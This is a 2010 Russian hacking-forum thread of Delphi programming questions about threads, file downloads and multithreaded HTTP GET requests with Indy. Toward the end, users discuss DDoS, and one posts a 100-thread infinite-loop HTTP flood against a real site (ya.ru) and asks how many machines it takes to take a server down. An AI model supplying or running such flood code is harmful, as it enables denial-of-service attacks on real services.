Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

14.01.2010, 20:50
|
|
Постоянный
Регистрация: 26.01.2008
Сообщений: 796
Провел на форуме: 5209663
Репутация:
357
|
|
Сообщение от iGlass
Всем доброго времени суток!
У меня есть вопрос, возможно он глуп но всё же...
Этот код работает на ура...
---------------------------------------------
А этот молчит...
В чём причина?
Заранее спасибо.
Не знаю как у тебя но у меня: Форум АНТИЧАТ - Mozilla Firefox
Вот тебе пища для размышления
|
|
|

14.01.2010, 20:54
|
|
Познающий
Регистрация: 14.05.2009
Сообщений: 92
Провел на форуме: 299447
Репутация:
5
|
|
Ухахаха, вот я лол :-))) Спасибо ))
|
|
|

15.01.2010, 18:27
|
|
Познающий
Регистрация: 19.08.2008
Сообщений: 69
Провел на форуме: 458484
Репутация:
31
|
|
Сообщение от НTL
Как выкинуть диалоговое окно из потока?
Что будет с WebBrowser если нету IE?
1.
synchronize(procedure
begin
showmessage('пыщ пыщ');
end);
2.
Могу предположить, что компонент просто откажется работать, покажет какую нить дефолтную страничку о ошибке
|
|
|

18.01.2010, 08:47
|
|
Постоянный
Регистрация: 26.01.2008
Сообщений: 796
Провел на форуме: 5209663
Репутация:
357
|
|
Какой способ будет работать быстрее (UrlDownloadToFile или GetInetFile)?
И как добавить progressbar (или просто узнать размер, и сколько скачено)
|
|
|

18.01.2010, 10:35
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме: 3288241
Репутация:
3349
|
|
один фиг ты не заметишь разницы. Потому что канал будет давать наибольшее ограничение, по сравнению с которым разница в скорости этих функций ничтожна
|
|
|

18.01.2010, 13:56
|
|
Banned
Регистрация: 25.11.2007
Сообщений: 62
Провел на форуме: 1702086
Репутация:
89
|
|
Покажите на примеры как отправить гет запрос в 10 потоков. Например: idhttp1.Get(http://ya.ru/);
Объявляете.
Код:
type
Send = class (TThread)
private
protected
procedure Execute; override;
end;
Создаете.
Код:
procedure send.execute;
var
s : string;
http : tidhttp;
begin
http := tidhttp.create;
try
s := http.get ('http://ya.ru/');
except end;
{Что-то делаем с данными}
http.free;
end;
Запускаете.
Код:
function new_send : boolean;
var
NewThread : Send;
begin
NewThread := Send.Create(true);
NewThread.Priority := tpnormal;
NewThread.FreeOnTerminate := true;
NewThread.Start;
Result := true;
end;
for i := 1 to 10 do new_send; - и все, готово.
|
|
|

19.01.2010, 22:20
|
|
Постоянный
Регистрация: 26.01.2008
Сообщений: 796
Провел на форуме: 5209663
Репутация:
357
|
|
Поделитесь хорошим генератором multipart/form-data пакетов (ну или только тела пакета)
и чтобы можно было добавлять еще параметры в существующие тела (то есть удалить 2 последние строки, и добавить еще параметр, потом опять закрыть тело пакета)
ПС: Кто в курсе тот поймет
|
|
|

20.01.2010, 09:00
|
|
Участник форума
Регистрация: 12.11.2008
Сообщений: 146
Провел на форуме: 592199
Репутация:
21
|
|
Сообщение от Пуховой
Объявляете.
Код:
type
Send = class (TThread)
private
protected
procedure Execute; override;
end;
Создаете.
Код:
procedure send.execute;
var
s : string;
http : tidhttp;
begin
http := tidhttp.create;
try
s := http.get ('http://ya.ru/');
except end;
{Что-то делаем с данными}
http.free;
end;
Запускаете.
Код:
function new_send : boolean;
var
NewThread : Send;
begin
NewThread := Send.Create(true);
NewThread.Priority := tpnormal;
NewThread.FreeOnTerminate := true;
NewThread.Start;
Result := true;
end;
for i := 1 to 10 do new_send; - и все, готово.
В связи с недавними событиями ддоса на ачате появился повпрос:
Если сделать так:
Код:
procedure send.execute;
var
s : string;
http : tidhttp;
begin
http := tidhttp.create;
try
for i:=1 to 10000000 do
s := http.get ('http://ya.ru/');
except end;
{Что-то делаем с данными}
http.free;
end;
for i := 1 to 10000000 do new_send;
И запустить на нескольких компах? это и будет ддос?
Или я чего не догоняю?
|
|
|

20.01.2010, 10:24
|
|
Познающий
Регистрация: 03.03.2009
Сообщений: 62
Провел на форуме: 1776253
Репутация:
106
|
|
denjf, да, но лучше запустить for i := 1 to 100 do new_send; (в 100 потоков) и в процедуре send_execute написать
Код:
var
http : tidhttp;
begin
http := tidhttp.create;
while true do
try
http.get ('http://ya.ru/');
except end;
end;
|
|
|

20.01.2010, 10:45
|
|
Участник форума
Регистрация: 12.11.2008
Сообщений: 146
Провел на форуме: 592199
Репутация:
21
|
|
][yZ
Немного не в тему но все же: Сколько надо компов таких что бы повесить сервак?
несколько сотен или несколько тысяч?
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|